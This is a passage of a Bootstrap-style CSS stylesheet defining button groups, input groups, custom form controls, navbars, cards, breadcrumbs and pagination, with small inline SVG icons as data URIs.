.btn-group:not(:last-child) > .btn {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n  margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n\n.input-group {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap;\n  align-items: stretch;\n  width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n  position: relative;\n  flex: 1 1 auto;\n  width: 1%;\n  margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n  z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n  margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n  display: flex;\n  align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n  display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n  position: relative;\n  z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n  margin-left: -1px;\n}\n\n.input-group-prepend {\n  margin-right: -1px;\n}\n\n.input-group-append {\n  margin-left: -1px;\n}\n\n.input-group-text {\n  display: flex;\n  align-items: center;\n  padding: 0.375rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #495057;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #e9ecef;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: 1.5rem;\n  padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n  display: inline-flex;\n  margin-right: 1rem;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1;\n  opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n  color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n  background-color: #e9ecef;\n}\n\n.custom-control-label {\n  margin-bottom: 0;\n}\n\n.custom-control-label::before {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  pointer-events: none;\n  content: \"\";\n  user-select: none;\n  background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  content: \"\";\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n  border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n  border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  vertical-align: middle;\n  background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n  background-size: 8px 10px;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  appearance: none;\n}\n\n.custom-select:focus {\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n  height: auto;\n  padding-right: 0.75rem;\n  background-image: none;\n}\n\n.custom-select:disabled {\n  color: #6c757d;\n  background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n  opacity: 0;\n}\n\n.custom-select-sm {\n  height: calc(1.8125rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 75%;\n}\n\n.custom-select-lg {\n  height: calc(2.875rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 125%;\n}\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin: 0;\n  opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n  border-color: #80bdff;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n  border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n  content: \"Browse\";\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  z-index: 3;\n  display: block;\n  height: calc(calc(2.25rem + 2px) - 1px * 2);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  content: \"Browse\";\n  background-color: #e9ecef;\n  border-left: 1px solid #ced4da;\n  border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n  width: 100%;\n  padding-left: 0;\n  background-color: transparent;\n  appearance: none;\n}\n\n.custom-range:focus {\n  outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n  border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n  width: 1rem;\n  height: 1rem;\n  margin-top: -0.25rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: transparent;\n  border-color: transparent;\n  border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n  margin-right: 15px;\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.nav {\n  display: flex;\n  flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n  text-decoration: none;\n}\n\n.nav-link.disabled {\n  color: #6c757d;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n  margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n  border: 1px solid transparent;\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n  border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n  color: #6c757d;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n  color: #495057;\n  background-color: #fff;\n  border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n  border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n  flex: 1 1 auto;\n  text-align: center;\n}\n\n.nav-justified .nav-item {\n  flex-basis: 0;\n  flex-grow: 1;\n  text-align: center;\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.navbar {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap;\n  align-items: center;\n  justify-content: space-between;\n  padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n  display: flex;\n  flex-wrap: wrap;\n  align-items: center;\n  justify-content: space-between;\n}\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: 0.3125rem;\n  padding-bottom: 0.3125rem;\n  margin-right: 1rem;\n  font-size: 1.25rem;\n  line-height: inherit;\n  white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n  text-decoration: none;\n}\n\n.navbar-nav {\n  display: flex;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.navbar-nav .nav-link {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n  position: static;\n  float: none;\n}\n\n.navbar-text {\n  display: inline-block;\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n  flex-basis: 100%;\n  flex-grow: 1;\n  align-items: center;\n}\n\n.navbar-toggler {\n  padding: 0.25rem 0.75rem;\n  font-size: 1.25rem;\n  line-height: 1;\n  background-color: transparent;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n  text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 576px) {\n  .navbar-expand-sm {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-sm .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-sm .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-sm .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-sm .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-expand-md {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-md .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-md .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-md .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-md .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .navbar-expand-lg {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-lg .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-lg .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-lg .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-lg .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .navbar-expand-xl {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-xl .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-xl .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-xl .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-xl .navbar-toggler {\n    display: none;\n  }\n}\n\n.navbar-expand {\n  flex-flow: row nowrap;\n  justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n  flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n  position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n  display: flex !important;\n  flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n  display: none;\n}\n\n.navbar-light .navbar-brand {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n  color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n  color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n  color: rgba(0, 0, 0, 0.5);\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n  color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n  color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n  color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n  color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n  color: rgba(255, 255, 255, 0.5);\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n  color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n  color: #fff;\n}\n\n.card {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: border-box;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n  border-radius: 0.25rem;\n}\n\n.card > hr {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n  flex: 1 1 auto;\n  padding: 1.25rem;\n}\n\n.card-title {\n  margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n  margin-top: -0.375rem;\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link:hover {\n  text-decoration: none;\n}\n\n.card-link + .card-link {\n  margin-left: 1.25rem;\n}\n\n.card-header {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 0;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n  border-top: 0;\n}\n\n.card-footer {\n  padding: 0.75rem 1.25rem;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n  margin-right: -0.625rem;\n  margin-bottom: -0.75rem;\n  margin-left: -0.625rem;\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -0.625rem;\n  margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 1.25rem;\n}\n\n.card-img {\n  width: 100%;\n  border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n  width: 100%;\n  border-top-left-radius: calc(0.25rem - 1px);\n  border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n  width: 100%;\n  border-bottom-right-radius: calc(0.25rem - 1px);\n  border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n  display: flex;\n  flex-direction: column;\n}\n\n.card-deck .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-deck {\n    flex-flow: row wrap;\n    margin-right: -15px;\n    margin-left: -15px;\n  }\n  .card-deck .card {\n    display: flex;\n    flex: 1 0 0%;\n    flex-direction: column;\n    margin-right: 15px;\n    margin-bottom: 0;\n    margin-left: 15px;\n  }\n}\n\n.card-group {\n  display: flex;\n  flex-direction: column;\n}\n\n.card-group > .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-group {\n    flex-flow: row wrap;\n  }\n  .card-group > .card {\n    flex: 1 0 0%;\n    margin-bottom: 0;\n  }\n  .card-group > .card + .card {\n    margin-left: 0;\n    border-left: 0;\n  }\n  .card-group > .card:first-child {\n    border-top-right-radius: 0;\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-top,\n  .card-group > .card:first-child .card-header {\n    border-top-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-bottom,\n  .card-group > .card:first-child .card-footer {\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:last-child {\n    border-top-left-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-top,\n  .card-group > .card:last-child .card-header {\n    border-top-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-bottom,\n  .card-group > .card:last-child .card-footer {\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:only-child {\n    border-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-top,\n  .card-group > .card:only-child .card-header {\n    border-top-left-radius: 0.25rem;\n    border-top-right-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-bottom,\n  .card-group > .card:only-child .card-footer {\n    border-bottom-right-radius: 0.25rem;\n    border-bottom-left-radius: 0.25rem;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n    border-radius: 0;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n    border-radius: 0;\n  }\n}\n\n.card-columns .card {\n  margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n  .card-columns {\n    column-count: 3;\n    column-gap: 1.25rem;\n    orphans: 1;\n    widows: 1;\n  }\n  .card-columns .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n  border-bottom: 0;\n  border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n  border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n  border-bottom: 0;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.breadcrumb {\n  display: flex;\n  flex-wrap: wrap;\n  padding: 0.75rem 1rem;\n  margin-bottom: 1rem;\n  list-style: none;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n  padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n  display: inline-block;\n  padding-right: 0.5rem;\n  color: #6c757d;\n  content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: none;\n}\n\n.breadcrumb-item.active {\n  color: #6c757d;\n}\n\n.pagination {\n  display: flex;\n  padding-left: 0;\n  list-style: none;\n  border-radius: 0.25rem;\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: 0.5rem 0.75rem;\n  margin-left: -1px;\n  line-height: 1.25;\n  color: #007bff;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n  z-index: 2;\n  color: #0056b3;\n  text-decoration: none;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.page-link:focus {\n  z-index: 2;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n  margin-left: 0;\n  